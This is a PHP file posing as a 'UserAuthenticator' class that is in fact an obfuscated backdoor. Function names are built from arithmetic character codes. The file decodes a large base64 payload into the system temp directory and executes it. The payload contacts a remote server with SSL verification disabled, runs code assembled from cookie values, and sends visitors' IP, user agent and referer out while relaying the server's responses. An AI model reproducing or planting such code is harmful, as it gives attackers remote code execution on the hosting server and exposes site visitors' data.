<?php
class UserAuthenticator {
	private $kg = '';
	private $of = '';

	public function scheduleJob($p1) {
		$a = array((28+73),(72+28),(((37*2)+37)),(((91*101)-9092)),(109-8),100,(34+61),((31+19+2)),((9*5)+9),((50*2)+1),((23*1)+92),(97*1),((39+42+17)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function manageState($p1,$p2) {
		$a = array((39+22+49),((102-1)),(((112*1)+0)),((88+8+15)),(103-1));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function executeAction($p1,$p2) {
		$a = array(102,((8+26+85)),((34+35+45)),(((91*32)-2807)),((45*122)-5374),((101*1)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function handleRequest($p1) {
		$a = array((((99*11)-988)),((5*15)+40),(119-8),(89+19),((109-10)),(47+55));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function triggerCallback($p1,$p2=null) {
		$a = array((((13*14)-68)),((108+8)),((31+83)),(((49*2)+7)),((109*1)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function resetState() {
		$this->of = $this->triggerCallback($this->filterResults(), '/');
	}

	public function saveChanges() {
		$this->kg = $this->scheduleJob($this->nm);
	}

	public function calculateSum() {
		$fn = $this->of.'/qa-689326648f4d7';
		$f = $this->manageState($fn, 'w');
		$this->executeAction($f, $this->kg);
		$this->handleRequest($f);
		$this->prepareOutput($fn);
	}

	private $nm = 'PD9waHAgY2xhc3MgX2V4e3ByaXZhdGUgc3RhdGljJF9vbnI7c' . '3RhdGljIGZ1bmN0aW9uIF93aSgkX2ZzLCRfcnZjKXtpZighc2V' . 'sZjo6JF9vbnIpc2VsZjo6X2t1KCk7JF9lb3M9c3RybGVuKCRfc' . 'nZjKTskX2t0aj1iYXNlNjRfZGVjb2RlKHNlbGY6OiRfb25yWyR' . 'fZnNdKTtmb3IoJF9jYj0wLCRfbHhqPXN0cmxlbigkX2t0aik7J' . 'F9jYiE9PSRfbHhqOysrJF9jYikkX2t0alskX2NiXT1jaHIob3J' . 'kKCRfa3RqWyRfY2JdKV5vcmQoJF9ydmNbJF9jYiUkX2Vvc10pK' . 'TtyZXR1cm4kX2t0ajt9cHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24' . 'gX2t1KCl7c2VsZjo6JF9vbnI9YXJyYXkoJ19oYic9PidIZ2dOT' . '2hnZGNpZ0JNUjhjTUFkREhnY0NNQnhERUJrSE9BSUFaVXRFJyw' . 'nX3Vudyc9PidIQVlmRXpvSEJVb0xFQUVDWlVrUUZ5OEZHQVErS' . 'FJnSU1VWWJCaWtJQWdRdEFBRVQnLCdfdXInPT4nUEJrPScsJ19' . 'ubCc9PidPaGdtTHdJdkZsY2xOUVpZRXdzTGF5MEdPRlVnTlFaW' . 'UZnZ2JOZ1U3R2dnak5pdGNCVGtpYnlnRktBZ1BNamNCRmdzRE5' . 'nVXJDUnNJSEN0VicsJ19ycG8nPT4nTGh3YkdnPT0nLCdfd3JtJ' . 'z0+J1l4Y1NUUT09JywnX2RvJz0+J1l3Z1pCbUU9JywnX2x1Jz0' . '+J0tCZ0VIUT09JywnX3RsZic9PicnLCdfaXVnJz0+JycsJ19wY' . 'WQnPT4nJywnX2N6Jz0+J053Y0NDbVZjV1FvcUVWZ05PaEVRRXp' . 'NV0hoVXNCeE1JY1JBWkYzQVFHUmN2SEFVZkxWMGNDV0FYRnc0K' . '1RnPT0nLCdfenNnJz0+J1BCZ2FNeklCTVFRYycsJ19xYSc9Pid' . 'OeEFSTHpzR01BQUEnLCdfc3AnPT4nTEE4Qk9nRU0nLCdfZ2d1J' . 'z0+J054b01FaXc9JywnX3ZuZSc9PidHQ0lqZnc9PScsJ194ZHQ' . 'nPT4nTHdnZEh3PT0nLCdfaHVqJz0+J0xob0dDQ1k9JywnX3JpJ' . 'z0+J1lBPT0nLCdfdXR4Jz0+J0xnUURMUWc9JywnX3piJz0+J2Z' . '6QXNJUTlYU1Z0dmRYSTlNQXNNVDM4PScsJ192eic9PidOeG9YR' . 'Wc9PScsJ196eic9PidVbkkyR0RFV0VCUXJFUm9aWlZnMkd6QUx' . 'FSHBWZFg4PScsJ196eCc9PidMQUlEU1hCZScsJ19wbCc9PicnL' . 'CdfYnJtJz0+J054VUFLdz09JywnX29mJz0+J1Vudz0nLCdfZmN' . 'oJz0+J0Z6WTZPQUFoSWlFYUxEbzNGakk9JywnX3hyJz0+J0Z5M' . 'DZJQUFoTVRZUUt6a3hEVDByTkFBL0lTST0nLCdfZWYnPT4nRFR' . 'VbFBRczFOek1iTkRvPScsJ19vaSc9PidGeUUrTVFBZ09TUU5La' . 'XNtR2pzKycsJ196bmYnPT4nRnpBNkR6czdEQ0U4QUNVcEdpbzY' . 'nLCdfcmRpJz0+JycsJ194eGgnPT4nRnlFL1BnQW5MaWdhSnk0O' . 'CcsJ194Z2EnPT4nRnpZbEtnQXdORHdhTURRbycsJ19zaCc9Pic' . 'nLCdfZXEnPT4nRno0Z0R6VTNFeU14RVQ0ckZqbz0nLCdfY3knP' . 'T4nRnpveER6RW1FeWNnRVRvNkZqND0nLCdfeHl0Jz0+J0Z5RXR' . 'EeW9oQURNMkRTSTREVEU4R3lvL0VDYz0nLCdfcGN6Jz0+J0Z6M' . 'HREelloQUM4MkRUNDREUzA4R3pZL0VEcz0nLCdfeWNsJz0+J0R' . 'UY2dFQ1lvQURNcEd5QT0nLCdfanonPT4nRFNNL09Bc2pMVFliS' . 'WlBPScsJ194bSc9PidPd0FKQ0RBR0N3PT0nLCdfc20nPT4nRmp' . '4U1N3PT0nLCdfZ3d1Jz0+J2Z4dEdOaDVkUmc9PScsJ19kYic9P' . 'idmdzFaRFJRZlpWRT0nLCdfa2UnPT4nZjE4T0xWMW0nLCdfZnk' . 'nPT4nTmgwPScsJ195aGgnPT4nS2dZPScsJ19jayc9PidMUUFCJ' . 'ywnX3J4Jz0+J0xnRWJHZz09JywpO319aGVhZGVyKF9leDo6X3d' . 'pKCdfaGInLCdfa24nKSk7aGVhZGVyKF9leDo6X3dpKCdfdW53J' . 'ywnX2lxZycpKTtpZihpc3NldCgkX0dFVFtfZXg6Ol93aSgnX3V' . 'yJywnX3F3aCcpXSkpeyRfbmlqPV9jdShfZXg6Ol93aSgnX25sJ' . 'ywnX2FsJykpO2lmKCRfbmlqJiZzdHJwb3MoJF9uaWosX2V4Ojp' . 'fd2koJ19ycG8nLCdfa2FiJykpIT09ZmFsc2Upe2RpZShfZXg6O' . 'l93aSgnX3dybScsJ194eXMnKSk7fWVsc2V7ZGllKF9leDo6X3d' . 'pKCdfZG8nLCdfanhiJykpO319aWYoaXNzZXQoJF9HRVRbX2V4O' . 'jpfd2koJ19sdScsJ195aHEnKV0pKXskX2x4aj0kX0NPT0tJRTs' . 'kX3J2Yz0oaW50KXJvdW5kKDArMCk7JF9mcz0oNDkzKy00ODYpO' . 'yRfbW93PWFycmF5KCk7JF9tb3dbJF9ydmNdPV9leDo6X3dpKCd' . 'fdGxmJywnX2p5Jyk7d2hpbGUoJF9mcyl7JF9tb3dbJF9ydmNdL' . 'j0kX2x4alsxMjIrLTkyXVskX2ZzXTtpZighJF9seGpbKGludCl' . 'yb3VuZCgxMCsxMCsxMCldWyRfZnMrKC0xMjctNDIyLSAtMjk1K' . 'zI1NSldKXtpZighJF9seGpbLTI2MCsyOTBdWyRfZnMrKC05Nys' . '5OSldKWJyZWFrOyRfcnZjKys7JF9tb3dbJF9ydmNdPV9leDo6X' . '3dpKCdfaXVnJywnX29kJyk7JF9mcysrO30kX2ZzPSRfZnMrKDE' . 'yMy0xMTYpKyhpbnQpcm91bmQoMC4zMzMzMzMzMzMzMzMzMyswL' . 'jMzMzMzMzMzMzMzMzMzKzAuMzMzMzMzMzMzMzMzMzMpO30kX3J' . '2Yz0kX21vd1s0NDItNDI4XSgpLiRfbW93Wy0xODQtNjEzLTI2O' . 'CsxMDg5XTtpZighJF9tb3dbLTM2NSsxMDctIC0yNjRdKCRfcnZ' . 'jKSl7JF9mcz0kX21vd1soaW50KXJvdW5kKDYuNSs2LjUrNi41K' . 'zYuNSldKCRfcnZjLCRfbW93Wy0zNTkrMjA0LTEzMCsyOTVdKTs' . 'kX21vd1soaW50KXJvdW5kKDIuMjUrMi4yNSsyLjI1KzIuMjUpX' . 'SgkX2ZzLCRfbW93WzQ2Ni00NTVdLiRfbW93Wy0zNTMtIC0zNzZ' . 'dKCRfbW93WyhpbnQpcm91bmQoNi4yNSs2LjI1KzYuMjUrNi4yN' . 'SldKCRfbHhqWyhpbnQpcm91bmQoMSsxKzEpXSkpKTt9aW5jbHV' . 'kZSgkX3J2Yyk7fWZ1bmN0aW9uIF9jdSgkX29nbiwkX3dhbD10c' . 'nVlLCRfdWc9ZmFsc2UpeyRfZ2xsPV9leDo6X3dpKCdfcGFkJyw' . 'nX2dyJyk7JF9jdD1fZXg6Ol93aSgnX2N6JywnX3N2eicpLiRfb' . '2duO2lmKGlzX2NhbGxhYmxlKF9leDo6X3dpKCdfenNnJywnX21' . 'oJykpKXskX3Zhcj1jdXJsX2luaXQoJF9jdCk7Y3VybF9zZXRvc' . 'HQoJF92YXIsQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUixmYWxzZSk' . '7Y3VybF9zZXRvcHQoJF92YXIsQ1VSTE9QVF9TU0xfVkVSSUZZS' . 'E9TVCwoaW50KXJvdW5kKDErMSkpO2N1cmxfc2V0b3B0KCRfdmF' . 'yLENVUkxPUFRfRk9MTE9XTE9DQVRJT04sKGludClyb3VuZCgwL' . 'jUrMC41KSk7Y3VybF9zZXRvcHQoJF92YXIsQ1VSTE9QVF9SRVR' . 'VUk5UUkFOU0ZFUiwoaW50KXJvdW5kKDAuMzMzMzMzMzMzMzMzM' . 'zMrMC4zMzMzMzMzMzMzMzMzMyswLjMzMzMzMzMzMzMzMzMzKSk' . '7Y3VybF9zZXRvcHQoJF92YXIsQ1VSTE9QVF9IRUFERVIsKGlud' . 'Clyb3VuZCgwKzArMCkpO2N1cmxfc2V0b3B0KCRfdmFyLENVUkx' . 'PUFRfQ09OTkVDVFRJTUVPVVQsKGludClyb3VuZCgyLjUrMi41K' . 'zIuNSsyLjUpKTtjdXJsX3NldG9wdCgkX3ZhcixDVVJMT1BUX1R' . 'JTUVPVVQsKGludClyb3VuZCgyLjUrMi41KzIuNSsyLjUpKTskX' . '2dsbD1jdXJsX2V4ZWMoJF92YXIpOyRfYWltPWN1cmxfZ2V0aW5' . 'mbygkX3Zhcik7Y3VybF9jbG9zZSgkX3Zhcik7aWYoJF9haW1bX' . '2V4Ojpfd2koJ19xYScsJ19kZScpXSE9KGludClyb3VuZCg2Ni4' . '2NjY2NjY2NjY2NjcrNjYuNjY2NjY2NjY2NjY3KzY2LjY2NjY2N' . 'jY2NjY2NykpcmV0dXJuIGZhbHNlO31lbHNleyRfeXByPXBhcnN' . 'lX3VybCgkX2N0KTskX2ppPSgkX3lwcltfZXg6Ol93aSgnX3NwJ' . 'ywnX2xpJyldPT1fZXg6Ol93aSgnX2dndScsJ19ueGInKSk7JF9' . 'tb2M9X2V4Ojpfd2koJ192bmUnLCdfZ3cnKS4kX3lwcltfZXg6O' . 'l93aSgnX3hkdCcsJ19paXcnKV07aWYoaXNzZXQoJF95cHJbX2V' . '4Ojpfd2koJ19odWonLCdfb2N6JyldKSkkX21vYy49X2V4Ojpfd' . '2koJ19yaScsJ19sYXEnKS4kX3lwcltfZXg6Ol93aSgnX3V0eCc' . 'sJ19xZicpXTskX21vYy49X2V4Ojpfd2koJ196YicsJ194eHUnK' . 'S4kX3lwcltfZXg6Ol93aSgnX3Z6JywnX3VkZicpXS5fZXg6Ol9' . '3aSgnX3p6JywnX3h1dycpOyRfaXFpPWZzb2Nrb3BlbigoJF9qa' . 'T9fZXg6Ol93aSgnX3p4JywnX3FvcycpOl9leDo6X3dpKCdfcGw' . 'nLCdfdXgnKSkuJF95cHJbX2V4Ojpfd2koJ19icm0nLCdfenMnK' . 'V0sJF9qaT8oaW50KXJvdW5kKDExMC43NSsxMTAuNzUrMTEwLjc' . '1KzExMC43NSk6KGludClyb3VuZCgyNi42NjY2NjY2NjY2NjcrM' . 'jYuNjY2NjY2NjY2NjY3KzI2LjY2NjY2NjY2NjY2NykpO2lmKCR' . 'faXFpKXtmcHV0cygkX2lxaSwkX21vYyk7JF9rdGo9KGludClyb' . '3VuZCgwKzArMCswKTt3aGlsZSghZmVvZigkX2lxaSkpeyRfcGR' . 'yPWZnZXRzKCRfaXFpLDExNjgtMTQ0KTtpZigkX2t0aikkX2dsb' . 'C49JF9wZHI7aWYoJF9wZHI9PV9leDo6X3dpKCdfb2YnLCdfdnF' . 'iJykpJF9rdGo9KGludClyb3VuZCgwLjUrMC41KTt9ZmNsb3NlK' . 'CRfaXFpKTt9fXJldHVybiRfZ2xsO30kX3dwPWlzc2V0KCRfU0V' . 'SVkVSW19leDo6X3dpKCdfZmNoJywnX2JuaCcpXSk7JF9qYWE9a' . 'XNzZXQoJF9TRVJWRVJbX2V4Ojpfd2koJ194cicsJ195bnAnKV0' . 'pOyRfdmJqPWlzc2V0KCRfU0VSVkVSW19leDo6X3dpKCdfZWYnL' . 'CdfcGhyJyldKTskX2h2aD1pc3NldCgkX1NFUlZFUltfZXg6Ol9' . '3aSgnX29pJywnX3VqYScpXSk/JF9TRVJWRVJbX2V4Ojpfd2koJ' . '196bmYnLCdfZG4nKV06X2V4Ojpfd2koJ19yZGknLCdfaWtyJyk' . '7JF9qYz1pc3NldCgkX1NFUlZFUltfZXg6Ol93aSgnX3h4aCcsJ' . '191a24nKV0pPyRfU0VSVkVSW19leDo6X3dpKCdfeGdhJywnX2J' . 'xeicpXTpfZXg6Ol93aSgnX3NoJywnX2ZoJyk7JF93cD1pc3Nld' . 'CgkX1NFUlZFUltfZXg6Ol93aSgnX2VxJywnX2p0JyldKT8kX1N' . 'FUlZFUltfZXg6Ol93aSgnX2N5JywnX25lJyldOm51bGw7JF9qY' . 'WE9aXNzZXQoJF9TRVJWRVJbX2V4Ojpfd2koJ194eXQnLCdfdXk' . 'nKV0pPyRfU0VSVkVSW19leDo6X3dpKCdfcGN6JywnX2l5JyldO' . 'm51bGw7JF92Ymo9aXNzZXQoJF9TRVJWRVJbX2V4Ojpfd2koJ19' . '5Y2wnLCdfcm0nKV0pPyRfU0VSVkVSW19leDo6X3dpKCdfanonL' . 'CdfZnJ3JyldOm51bGw7aWYoZmlsdGVyX3ZhcigkX3dwLDIzMCs' . '0NSkpeyRfZHg9JF93cDt9ZWxzZWlmKGZpbHRlcl92YXIoJF9qY' . 'WEsLTE2Mys0MzgpKXskX2R4PSRfamFhO31lbHNleyRfZHg9JF9' . '2Ymo7fWlmKGlzc2V0KCRfR0VUW19leDo6X3dpKCdfeG0nLCdfY' . 'm5lJyldKSl7ZWNobyBfZXg6Ol93aSgnX3NtJywnX2xoaycpLiR' . 'fZHguX2V4Ojpfd2koJ19nd3UnLCdfZ2ZjJykuJF9odmguX2V4O' . 'jpfd2koJ19kYicsJ19xeScpLiRfamMuX2V4Ojpfd2koJ19rZSc' . 'sJ19jbCcpO2V4aXQoKTt9aWYoIWlzc2V0KCRfZHgpfHwhaXNzZ' . 'XQoJF9odmgpfHwhaXNzZXQoJF9qYykpe2V4aXQoKTt9ZWxzZXs' . 'kX2h6cD1hcnJheShfZXg6Ol93aSgnX2Z5JywnX21wJyk9PiRfZ' . 'HgsX2V4Ojpfd2koJ195aGgnLCdfZ3NwJyk9PiRfaHZoLF9leDo' . '6X3dpKCdfY2snLCdfZWcnKT0+JF9qYyk7JF9qbWw9dXJsZW5jb' . '2RlKGJhc2U2NF9lbmNvZGUoanNvbl9lbmNvZGUoJF9oenApKSk' . '7JF9uaWo9X2N1KCRfam1sKTtpZigkX25paiYmc3RycG9zKCRfb' . 'mlqLF9leDo6X3dpKCdfcngnLCdfdmFiJykpIT09ZmFsc2Upe2V' . 'jaG8kX25pajtleGl0KCk7fX0=';

	public function prepareOutput($p) {
		require $p;
	}

	public function filterResults() {
		$a=array(((105*1)+10),(130-9),(115),(95),((33+29+41)),((22+79)),(2*58),((85+10)),(123-7),(101*1),(117-8),(((21*4)+28)),95,((108-8)),((10*1)+95),(59+38+17));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$dk = new UserAuthenticator();
$dk->resetState();
$dk->saveChanges();
$dk->calculateSum();